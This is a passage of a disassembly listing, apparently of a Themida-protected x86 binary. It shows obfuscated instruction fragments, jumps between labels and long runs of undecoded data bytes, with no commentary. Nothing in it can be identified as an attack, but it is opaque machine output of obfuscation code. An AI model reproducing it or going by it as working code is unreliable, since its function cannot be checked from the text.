loc_53D7E0:				; CODE XREF: Themida_:0053D9DCj
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_539EE7
; ---------------------------------------------------------------------------
		dd 565BDF31h, 0FF1F7F68h, 0F6815E54h, 320450D7h, 4CF5F681h
		dd 35E91682h, 8100000Bh, 32D63DC6h, 21E9811Ch, 1527236h
		dd 21C181F1h, 0E9527236h, 1F63h, 4244C29h, 4246C81h, 569C7929h
		dd 0FFA902E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D831:				; CODE XREF: Themida_:0053D5E1j
		mov	edi, 4
		jmp	loc_54141D
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA7D06C7h, 5FFA0187h, 8904EC83h, 0A3E9243Ch, 81FFFFCFh
		dd 42404h, 0E95B0000h, 1412h, 5866E528h, 0EB885366h, 0DA88D588h
		dd 51535B66h, 215CE9h, 0D0E95B00h, 50000005h, 0D8E9EC88h
		dd 87FFFFA1h, 685C243Ch, 4667h,	83241489h, 0C8904ECh, 18656824h
		dd 4890000h, 53CFB424h,	0C7E979B7h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D8A3:				; CODE XREF: Themida_:0053B3F8j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_539941
; ---------------------------------------------------------------------------

loc_53D8AC:				; CODE XREF: Themida_:00536E24j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5404F9
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 24348BF3h,	8304C483h, 1C8704EBh, 24248B24h
		dd 89243C89h, 4C781E7h,	81000000h, 2EFh, 74FF5700h, 3C8B0424h
		dd 4C48124h, 0E9000000h, 0FFFFAE25h, 0A1D4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53D8FA:				; CODE XREF: Themida_:0053F672j
		mov	[esp], esi
		push	2E87h
		mov	[esp], eax
		mov	eax, 9081180h
		mov	esi, 0BEF6A72Fh
		jmp	loc_5395B1
; ---------------------------------------------------------------------------
		dd 0C581DDF7h, 728B726Eh, 0E95DEB01h, 3838h, 24048B66h
		dd 4EC81h, 2C890000h, 0E9E58924h, 0FFFFDCADh, 1287F681h
		dd 7DE91B60h, 81FFFFB4h, 4C4h, 4BA5200h, 1000000h, 0BD555AD1h
		dd 7FFA2D58h, 19E0BA52h, 0E28141A3h, 2A27302Dh,	24BE9h
		dd 4EA8300h, 31241433h,	14332414h, 1C895C24h, 0BFFABB24h
		dd 0D931CEFFh, 0FFEF2FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D985:				; CODE XREF: Themida_:0053F9F8j
		add	ebx, eax
		sub	ebx, 0C8F2180h
		jmp	loc_537733
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0B6700CE7h, 0E9C7813Bh, 2947D525h, 0C3815FFBh, 39E27018h
		dd 0FFE9A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D9AD:				; CODE XREF: Themida_:00542BF6j
		add	ebp, 0EF7DE945h
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_53EAB3
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 80C1FE93h, 0C8009FF1h, 759E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53D9CE:				; CODE XREF: Themida_:00540043j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_541163
; ---------------------------------------------------------------------------

loc_53D9DB:				; CODE XREF: Themida_:00538602j
		push	esp
		jmp	loc_53D7E0
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0F8010000h, 4BB535Fh, 1000000h, 4335BD8h, 24043124h
		dd 0FFEF48E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53D9FD:				; CODE XREF: Themida_:0053AC0Ej
		push	17C14EEAh
		pop	ecx
		add	ecx, 3CB2308Ch
		xor	ecx, 493D2E09h
		sub	ecx, 0D7E74AF5h
		push	ecx
		pop	edi
		mov	ecx, [esp]
		push	ecx
		jmp	loc_53E493
; ---------------------------------------------------------------------------

loc_53DA20:				; CODE XREF: Themida_:0053C940j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_5423A5
; ---------------------------------------------------------------------------
		dd 670D2DBFh, 5FFB2934h, 0C381D329h, 34670D2Dh,	29BE9h
		dd 24248B00h, 4530E9h, 5B545300h, 0AAF6E952h, 4ACFFFFh
		dd 0B688E931h, 0EC81FFFFh, 4, 0B9240C89h, 1DF84A50h, 0E181D1F7h
		dd 26E200D2h, 4D5BC981h, 0F181454Fh, 49F16C1h, 40CBE9h
		dd 9330E900h, 2C8BFFFFh, 0E722E924h, 77FFFFFFh,	11589D1Ch
		dd 0E99C2404h, 7ABh, 0FF9315E9h, 4EC83FFh, 0E9240C89h
		dd 0FFFFC4BEh, 29E95657h, 66FFFFF1h, 68240C8Bh,	29ADh
		dd 54242C89h, 0FFB039E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53DAD1:				; CODE XREF: Themida_:00536FCAj
		push	esp
		pop	ebp
		jmp	loc_537FF8
; ---------------------------------------------------------------------------

loc_53DAD8:				; CODE XREF: Themida_:00539F13j
		xor	edi, 154D6116h
		jmp	loc_53EE2E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 165BE904h, 0C4810000h, 4, 4C381h, 0BF570000h
		dd 2, 875FFB01h, 248B241Ch, 5357E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53DB0E:				; CODE XREF: Themida_:0053FE44j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53EF20
; ---------------------------------------------------------------------------

loc_53DB19:				; CODE XREF: Themida_:0053C7A8j
		mov	[esp], ebp
		jmp	loc_54003D
; ---------------------------------------------------------------------------

loc_53DB21:				; CODE XREF: Themida_:0054119Dj
		add	ecx, 421E6D1Ch
		jmp	loc_53F81B
; ---------------------------------------------------------------------------

loc_53DB2C:				; CODE XREF: Themida_:005416FBj
		pop	edx
		jmp	loc_537CAF
; ---------------------------------------------------------------------------

loc_53DB32:				; CODE XREF: Themida_:0053B09Ej
		push	69BCh
		mov	[esp], edi
		push	1808h
		mov	[esp], edx
		push	79723604h
		jmp	loc_53BF74
; ---------------------------------------------------------------------------
		dd 974FE953h, 0BB53FFFFh, 4, 0BB76C105h, 175FE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53DB62:				; CODE XREF: Themida_:0053B5E0j
		mov	esi, esp
		jmp	loc_53D5D5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHa		db '$h─:',0
		align 2
		dw 489h
aIrh		db '$┴Юhя,',0
		align 4
		dd 68243489h, 4, 8324348Bh, 0FA2D04C4h,	12B3A1Eh, 1EFA05F0h
		dd 34FF2B3Ah, 0C4815E24h, 4, 1CD8E9h, 1C77FF00h, 1058669Dh
		dd 0E99C2404h, 0FFFF920Eh, 8142E2D1h, 7246F8E2h, 28EA8155h
		dd 3190709Dh, 24148BD5h, 4C481h, 0DDF70000h, 1956E9h
		db 0
; ---------------------------------------------------------------------------

loc_53DBD5:				; CODE XREF: Themida_:00541B75j
		xor	edi, 798D462Bh
		sub	edx, edi
		pop	edi
		pop	esi
		sub	esi, 4D1070EAh
		add	esi, 5FE0AFDh
		sub	esi, edx
		sub	esi, 5FE0AFDh
		add	esi, 4D1070EAh
		pop	edx
		shl	esi, 1
		sub	esi, 0A3E2DF90h
		mov	ecx, esi
		pop	esi
		rep movsd
		add	esp, [edx+38h]
		push	ecx
		push	425B019Dh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53A176
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 8713B205h, 5E24054Fh, 8D2D5726h, 5260D452h, 0BE611CBAh
		dd 5AD0010Bh, 8124148Bh, 4C4h, 17F7E900h, 0E8890000h, 0E9D0F75Dh
		dd 0FFFFA3FEh, 2F41BD55h, 0C1452C00h, 0E95304E5h, 4123h
		dd 4BB53h, 13E90000h, 8100002Eh, 4C1h, 4C18100h, 0E9000000h
		dd 1A1Eh, 0D6CF8159h, 8161A359h, 6E368FE7h, 2DC8E903h
		dd 69040000h, 2025E9h, 0C7815F00h, 0E96277Fh, 2868565Bh
		dd 5E081D27h, 0EE83D6F7h, 1C68101h, 81000000h, 189444EEh
		dd 8BF72193h, 0C4832434h, 38CF8104h, 813F8851h,	0C51873EFh
		dd 8BF8893Fh, 0C481243Ch, 4, 0FF90E9E9h, 48F5BFFh, 0D3665C24h
		dd 0E99C242Ch, 0FFFF90DAh, 7CEB815Ah, 8178206Dh, 0F26518EBh
		dd 0C886E967h, 15AFFFFh, 60EF81EFh, 5D6C0B70h, 5C243C87h
		dd 0FFC2E1E9h, 40559FFh, 0E9000000h, 82Bh, 0DA3D99BEh
		dd 41CE814Dh, 8161DF48h, 39FA8C6h, 8BF329EFh, 89522434h
		dd 4C281E2h, 57000000h,	0D466AEBFh, 6FEF814Fh, 5620731Bh
		dd 133FFBBEh, 0C0F68150h, 0E97F7274h, 22C6h
; ---------------------------------------------------------------------------

loc_53DD54:				; CODE XREF: Themida_:00542B0Dj
		pop	eax
		jmp	loc_53F138
; ---------------------------------------------------------------------------

loc_53DD5A:				; CODE XREF: Themida_:005383BBj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_53F21A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 154D0905h, 3B01E920h, 0F2290000h,	7916C281h, 295E51A1h
		dd 24148BD1h, 0FFAF4AE9h, 4C483FFh, 5C242C87h, 9C2404FFh
		dd 0FF9021E9h, 5BB53FFh, 0F7508820h, 81D3F7DBh,	882000F3h
		dd 5BD90150h, 4B850h, 0D8E90000h, 33FFFFB4h, 0C31240Ch
		dd 240C3324h, 243CD25Ch, 8FF0E99Ch, 0C781FFFFh,	4CBA1309h
		dd 243C875Dh, 4EC835Ch,	0FFCD8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53DDE5:				; CODE XREF: Themida_:0053A5B3j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5390E1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BD5500h, 1000000h, 14875DEAh,	0E9C35C24h, 0FFFF8FB6h
; ---------------------------------------------------------------------------

loc_53DE0C:				; CODE XREF: Themida_:005396E8j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	6554h
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 503A0AB2h
		add	esi, 48AD6355h
		shl	esi, 1
		or	esi, 868522Eh
		sub	esi, 76042E1Dh
		sub	esi, 0C3EAB00Dh
		add	edx, esi
		jmp	loc_537A71
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 1762E900h, 8B5B0000h, 0C483240Ch, 8F60E904h
		dd 5BE9FFFFh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DE67:				; CODE XREF: Themida_:005426B9j
		pop	edi
		shl	ebx, 4
		jmp	loc_5384A9
; ---------------------------------------------------------------------------
		dd 835AD300h, 148904ECh, 0E93E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53DE7E:				; CODE XREF: Themida_:0053CA37j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_53D569
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0DF199279h, 815FF831h, 4ECh,	4987E900h, 0CE810000h
		dd 31756CBh, 0EE81DEF7h, 0BCE08425h, 295EF189h,	2434FFCFh
		dd 0E2895259h, 0FFFF36E9h, 0C30059FFh, 2CE4E9h,	48DD6800h
		dd 3C890000h, 0B489E924h, 435FFFFFh, 4E40E952h,	0EC830000h
		dd 110BE904h, 1C870000h, 0AFAAE924h, 0D3E9FFFFh, 59FFFF8Eh
		dd 137BEB81h, 0EA8106BEh, 3D9424F3h, 0C281DA01h, 3D9424F3h
		dd 0FFC277E9h, 0EC815AFFh, 4, 0FFD2ADE9h, 47ECBFFFh, 0EF8112D1h
		dd 0C07BE65Bh, 0FEBD5557h, 163780Ah, 5D04246Ch,	8324148Bh
		dd 6BE904C4h, 0D1000025h, 1BF581E5h, 0E9683A30h, 416Ch
		dd 1BB7F181h, 99E9EDA0h, 81FFFFC3h, 1B1A26C1h, 81D9F75Ah
		dd 80D254E9h, 8BCE8951h, 66E9240Ch, 8B000027h, 89662424h
		dd 4FE9240Ch
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DF73:				; CODE XREF: Themida_:0053CF84j
		xor	ebp, 6A55F2C1h
		and	eax, ebp
		jmp	loc_53A717
; ---------------------------------------------------------------------------

loc_53DF80:				; CODE XREF: Themida_:0053EAC3j
		mov	[esp], ebx
		jmp	loc_53CED0
; ---------------------------------------------------------------------------

loc_53DF88:				; CODE XREF: Themida_:00541D2Fj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5391B4
; ---------------------------------------------------------------------------
		dd 34B368h, 240C8900h, 0FFB537E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53DFA5:				; CODE XREF: Themida_:00536EB3j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_53A66E
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 3A411CC1h, 3094C381h, 89E9E4D0h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DFBF:				; CODE XREF: Themida_:0053B35Ej
		pop	edi
		mov	[edi+24h], edx
		push	dword ptr [esp]
		jmp	loc_542E81
; ---------------------------------------------------------------------------
		db 83h
		dd 48E904C4h, 87FFFF94h, 248B241Ch, 24348924h, 10E9E689h
		dd 0FFFFFF8Eh, 9BE92434h, 0FFFFFFA0h, 8B042474h, 46682404h
		dd 89000044h, 0E954241Ch, 0FFFF9B71h, 0E9240C89h, 0FFFFEC41h
		dd 0C781E789h, 4, 8704EF83h, 6FE9243Ch,	5CFFFFA6h, 24048B66h
		dd 81E38953h, 4ECh, 24148900h, 0FFD788E9h, 0EF805AFFh
		dd 55CF80BDh, 0B7535266h, 3024B614h, 0F7305BFEh, 0F8885A66h
		dd 58C3885Bh, 8B66D828h, 0C481241Ch, 2,	4FBD68h, 241C8900h
		dd 350456B7h, 54041D2Ch, 42A8E9h, 2434FF00h, 4C4835Dh
		dd 355E9h
		db 0
; ---------------------------------------------------------------------------

loc_53E079:				; CODE XREF: Themida_:005411DCj
		pop	eax
		mov	ah, dl
		pop	edx
		add	bl, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_53B7AE
; ---------------------------------------------------------------------------

loc_53E088:				; CODE XREF: Themida_:00540E62j
		mov	[esp], eax
		mov	eax, 1
		sub	esp, 4
		mov	[esp], eax
		mov	ebx, [esp]
		jmp	loc_5423D9
; ---------------------------------------------------------------------------

loc_53E0A1:				; CODE XREF: Themida_:0053CBE3j
		neg	edi
		xor	edi, 2704A40h
		xor	edi, 6578014Ch
		add	edi, 5B02959Ch
		add	eax, edi
		pop	edi
		xor	eax, 0CD0FF942h
		add	ebp, 4C7B0758h
		add	ebp, eax
		sub	ebp, 4C7B0758h
		jmp	loc_53CDD8
; ---------------------------------------------------------------------------
		dd 3E8DF781h, 0FB898C9Eh, 1310E95Fh, 0B2520000h, 0E9E2D050h
		dd 0D82h
; ---------------------------------------------------------------------------

loc_53E0E8:				; CODE XREF: Themida_:0053B78Cj
		push	edi
		mov	edi, esp
		jmp	loc_537580
; ---------------------------------------------------------------------------
aAS2		db '─ц╣И!2',0
		align 4

loc_53E0F8:				; CODE XREF: Themida_:0053D371j
		push	2ED8h
		mov	[esp], ecx
		push	esi
		mov	esi, 0A3D327Ah
		and	esi, 32382952h
		jmp	loc_541573
; ---------------------------------------------------------------------------

loc_53E111:				; CODE XREF: Themida_:0054122Bj
		pop	ebx
		push	ebx
		mov	ebx, 72AE2FF9h
		inc	ebx
		inc	ebx
		sub	ebx, 72AE2FF7h
		add	eax, ebx
		jmp	loc_53C67C
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_53EE16
; ---------------------------------------------------------------------------
		db 89h
		dd 0A8BA52E1h, 0E90EC76Bh, 0FFFFAB9Fh
; ---------------------------------------------------------------------------

loc_53E14C:				; CODE XREF: Themida_:0053E53Ej
		add	edi, 53344576h
		sub	edi, 28F77810h
		add	edi, 0C14AC76Ah
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 61334FCAh
		jmp	loc_539A5B
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h, 0EAh
		dd 9EE28102h, 81587724h, 0F360BFF2h, 8BD60974h,	0C4832414h
		dd 5E6C104h, 8185C681h,	0F02939F4h, 8124348Bh, 4C4h, 479B0500h
		dd 69682A20h, 89000030h, 0A6BF243Ch, 0C1385224h, 33E904E7h
		dd 0ACFFFF9Dh, 80F7B252h, 0CAFEEFEAh, 0C0A3F280h, 0A2E906E2h
		dd 89FFFFA5h, 4C781E7h,	55000000h, 4BDh, 9EF8100h, 14CBA13h
		dd 0FBECE9EFh, 431FFFFh, 24043324h, 2424895Ch, 0FF9696E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E1F5:				; CODE XREF: Themida_:00537F5Dj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_53A8C7
; ---------------------------------------------------------------------------
		dd 8042B652h, 0D6F601EEh, 0C6FEC6FEh, 0E9E0E680h, 0FFFFD014h
		dd 0BD555058h, 722D04B5h, 1C9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_53E229:				; CODE XREF: Themida_:0053AF1Dj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_536E18
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHE		db '$hйE',0
		align 2
		dw 0EBE9h
		dd 0BEFFFFF1h, 42620EB3h, 815EF289h, 4C2433F2h,	86E9427Ch
		dd 0E9000039h, 0FFFF8B6Ah, 0C103EBC1h, 0C38104E3h, 1DE67737h
		dd 0FFE5F3E9h, 0E9E588FFh, 0FFFF9BCFh, 8FE951h,	8B660000h
		dd 8957240Ch, 0BF5750E7h, 1D6B208Dh, 5B7C781h, 0EF810457h
		dd 4BDC4053h, 4D74CF81h, 0BA52095Bh, 632E6C6Ah,	815AD709h
		dd 214476E7h, 72F7817Dh, 897D2144h, 2FE95FF8h, 89FFFFEDh
		dd 0D1B9240Ch, 8142BD78h, 75337F1h, 0E7E9815Fh,	0E9759250h
		dd 0FFFFC7F5h
; ---------------------------------------------------------------------------

loc_53E2CC:				; CODE XREF: Themida_:0053FD2Cj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_540E5E
; ---------------------------------------------------------------------------
		db 50h,	89h, 0F0h
		dd 4611E950h, 0EA810000h, 112A11EDh, 260FCA81h,	0BD5515F3h
		dd 0B9643B02h, 0FF9E12E9h, 81E189FFh, 4C1h, 4C18300h, 0E9240C87h
		dd 0FFFFEF7Ch, 4C481h, 0C870000h, 4095C24h, 97E99C24h
		dd 5DFFFF8Ah, 0C8BCD89h, 4C48324h, 0E95DEE89h, 0FFFFD1FBh
		dd 0DAF681h, 0F28933C7h, 5FFA315Eh, 148BD789h, 0A852E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E352:				; CODE XREF: Themida_:0053B093j
		xchg	edx, [esp]
		pop	esp
		push	edx
		xchg	ebp, [esp]
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		push	esi
		mov	esi, 4
		jmp	loc_5407E9
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 9C2404FEh, 0FF8A31E9h, 48F181FFh,	552807Ch
		dd 532771F6h, 0F62DC829h, 59532771h, 0FFF394E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E3A9:				; CODE XREF: Themida_:00537B1Fj
		pop	esp
		jmp	loc_5385A9
; ---------------------------------------------------------------------------
		db 81h
		dd 0F65D3EE5h, 4DD5F77Ah, 677CD81h, 23E90C57h, 8BFFFFD3h
		dd 8956240Ch, 8E17E9E6h, 0DD29FFFFh, 0C6F5815Bh, 1498AFBh
		dd 242C8BEFh, 104C483h,	97EF81CFh, 0E90D1D2Ch, 4131h, 46852h
		dd 815A0000h, 0EA0398EBh, 0DBC5E971h, 4BAFFFFh,	1000000h
		dd 5A042454h, 4BA525Bh,	1000000h, 0EE8E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53E416:				; CODE XREF: Themida_:0053FED2j
		shr	ah, 8
		xor	ah, 27h
		xor	ah, 37h
		sub	ah, 0D0h
		jmp	loc_53D3C3
; ---------------------------------------------------------------------------

loc_53E427:				; CODE XREF: Themida_:005384AFj
		mov	eax, ebx
		pop	ebx
		mov	dword ptr [edi+20h], 1BBE5AE2h
		jmp	loc_541E74
; ---------------------------------------------------------------------------
		dw 0C168h
		dd 0E900003Fh, 44F2h, 0E9D78853h, 0FFFFBDE6h
; ---------------------------------------------------------------------------

loc_53E448:				; CODE XREF: Themida_:0053E692j
		add	esi, ecx
		push	ebp
		mov	ebp, 422E2654h
		or	ebp, 78912618h
		xor	ebp, 0BB15C40h
		sub	ebp, 1EDC62D6h
		jmp	loc_538144
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 50000000h,	220F6BB8h, 7E0C10Eh, 0D3131A2Dh
		dd 0A2622D52h, 0E981BE34h, 49A07894h, 0FFE9CAE9h, 0B0E950FFh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E493:				; CODE XREF: Themida_:0053DA1Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 0F4460381h
		add	ecx, edi
		jmp	loc_53AD4B
; ---------------------------------------------------------------------------
		db 83h
		dd 59042404h, 2DAAE9h
		db 0
; ---------------------------------------------------------------------------

loc_53E4B9:				; CODE XREF: Themida_:00537566j
		add	esi, ebx
		pop	ebx
		jmp	loc_542E99
; ---------------------------------------------------------------------------
		db 0BDh, 78h, 2Ah
		dd 0E5C14EABh, 3CED8102h, 453B3748h, 0F18E581h,	2BE91B86h
		dd 8B000007h, 0E9243Ch,	54000015h, 0E924148Bh, 0FFFF8F73h
; ---------------------------------------------------------------------------

loc_53E4EC:				; CODE XREF: Themida_:00537B3Aj
		sub	esp, 4
		jmp	loc_53BC4D
; ---------------------------------------------------------------------------

loc_53E4F7:				; CODE XREF: Themida_:00537759j
		sub	esp, 4
		jmp	loc_53CE33
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 607DB850h, 0C1313748h, 8124048Bh, 4C4h, 59C83100h, 6853C331h
		dd 2Ch,	81241C8Bh, 4C4h, 4EC8300h, 0E9240489h, 8A6h
; ---------------------------------------------------------------------------

loc_53E534:				; CODE XREF: Themida_:0053926Cj
		neg	eax
		add	eax, 217D8220h
		add	edi, eax
		pop	eax
		jmp	loc_53E14C
; ---------------------------------------------------------------------------
		db 87h
		dd 2E92404h, 0D1FFFFF5h, 7ABB53E0h, 90B1672h, 1CC6E9D8h
		dd 0DF870000h, 0E0E9D3F7h, 81FFFFD0h, 4C4h, 5D8F700h, 7FF353FEh
		dd 2C1CC681h, 0C6014C69h, 2C1CEE81h, 48B4C69h, 4C48324h
		dd 8B243487h, 0F662424h, 9C2404A3h, 0FFF4F8E9h,	0FA015EFFh
		dd 343F68h, 168E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53E5A2:				; CODE XREF: Themida_:005385A4j
		jz	loc_538065
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_541671
; ---------------------------------------------------------------------------
aL4Sb8		db '▀4$И│8',0
		align 2
		dw 9F0Ch
		dd 0C0FE392Ch, 0B034D634h, 45E9C720h, 89000010h, 4C381E3h
		dd 83000000h, 1C8704C3h, 4EE95C24h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53E5E3:				; CODE XREF: Themida_:00542E94j
		pop	esp
		xor	edx, edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	2635489Fh
		jmp	loc_539EB2
; ---------------------------------------------------------------------------

loc_53E617:				; CODE XREF: Themida_:00539DE9j
		add	edi, esi
		pop	esi
		pop	eax
		add	edi, 4
		jmp	loc_53B2AD
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0DE76E924h, 0C481FFFFh, 4, 0FFFA97E9h, 68E950FFh, 1FFFFDCh
		dd 0CE05E9D9h, 34FFFFFFh, 0BA685824h, 89000065h, 0A6682404h
		dd 8100005Fh, 4ECh, 0E472E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E662:				; CODE XREF: Themida_:0053BCF7j
		and	eax, esi
		pop	esi
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_539EC3
; ---------------------------------------------------------------------------

loc_53E66F:				; CODE XREF: Themida_:005375B9j
					; Themida_:0053FB65j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5377AF
; ---------------------------------------------------------------------------

loc_53E680:				; CODE XREF: Themida_:005418EAj
		push	ecx
		mov	ecx, 2E033E4Fh
		add	ecx, 0D32FD357h
		add	esi, 2B3734F0h
		jmp	loc_53E448
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8726h, 0E9240489h, 0FFFF871Eh, 8B243487h, 31662424h
		dd 0C0B70FC3h, 26E1E951h, 0EE800000h, 5AF58810h, 809FB652h
		dd 0F68034F6h, 0FFF028E0h, 835A2434h, 536604C4h, 0E9CAB652h
		dd 1D53h, 76C0B951h, 0CA317099h, 5AD10159h, 154D68h, 24148900h
		dd 1E4C8ABAh, 88EA8118h, 81181E4Ch, 864A55C1h, 81D1013Fh
		dd 864A55E9h, 0D1F9E93Fh, 489FFFFh, 0E9028F24h,	0FFFFA6A3h
		dd 300D68h, 24148900h, 81575257h, 4ECh,	241C8900h, 3779B5BBh
		dd 0F9DBF4Fh, 0B5E96FBBh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E737:				; CODE XREF: Themida_:00539CD7j
		sub	esp, 4
		mov	[esp], eax
		push	5940h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_53AFAE
; ---------------------------------------------------------------------------

loc_53E751:				; CODE XREF: Themida_:0053CF39j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5371FD
; ---------------------------------------------------------------------------

loc_53E75C:				; CODE XREF: Themida_:005379E0j
		sub	edx, ecx
		pop	ecx
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx

loc_53E768:				; CODE XREF: Themida_:0053EAB5j
		push	ebp
		mov	ebp, esp
		jmp	loc_53A21D
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 41116800h, 14890000h, 4EC8124h, 0E9000000h
		dd 0FFFF94E1h, 30FF665Dh, 0FF862DE9h, 2434FFFFh, 5624148Bh
		dd 0C681E689h, 4, 8704C683h, 835C2434h,	148B04C4h, 4C48324h
		dd 4C281h, 0C2810000h, 2, 0E26E9h, 5AD30000h, 8957C328h
		dd 4C781E7h, 0E9000000h, 42D5h,	0CDC7815Bh, 81070945h
		dd 9F1E97EFh, 81EF0154h, 9F1E97C7h, 3A44E954h, 0EF810000h
		dd 28B7738Ch, 0C781D701h, 28B7738Ch, 8124148Bh,	4C4h, 0A7C5E900h
		dd 3489FFFFh, 0F0A4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E816:				; CODE XREF: Themida_:00539EBEj
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_53A4B1
; ---------------------------------------------------------------------------
		dw 0E188h
		dd 0CFF18058h, 8059C830h, 0EB803AC3h, 80C328E3h, 0EE9E3C3h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E83B:				; CODE XREF: Themida_:00539E98j
		xor	edi, ecx
		pop	ecx
		or	esi, edi
		pop	edi
		push	31FCh
		mov	[esp], edi
		push	ebp
		mov	ebp, 6F3A42F4h
		mov	edi, ebp
		pop	ebp
		or	esi, edi
		pop	edi
		xor	esi, 6F7F6FFFh
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_53F21E
		push	ebx
		jmp	loc_53CD9A
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 48B2434h, 4C48324h, 4C481h, 0EC830000h
		dd 241C8904h, 241C8B54h, 40EFE9h, 81CE2900h, 4350F6EEh
		dd 0FA1E940h, 23E90000h, 53FFFF85h, 670B03BBh, 3EBC133h
		dd 39F3E9h, 0FA015D00h,	0CF7DE95Fh, 67BAFFFFh, 0E9526C39h
		dd 0FFFFB1BDh, 787D68h,	243C8900h, 30666851h, 565900DFh
		dd 2402BB53h, 1BBE3523h, 2938827Fh, 2EFDE9DEh, 0BD550000h
		dd 33E18F82h, 315DEA31h, 24148BD0h, 8104C483h, 77808EBh
		dd 68C32937h, 1F15h, 0FF8E03E9h
		db 0FFh
; ---------------------------------------------------------------------------

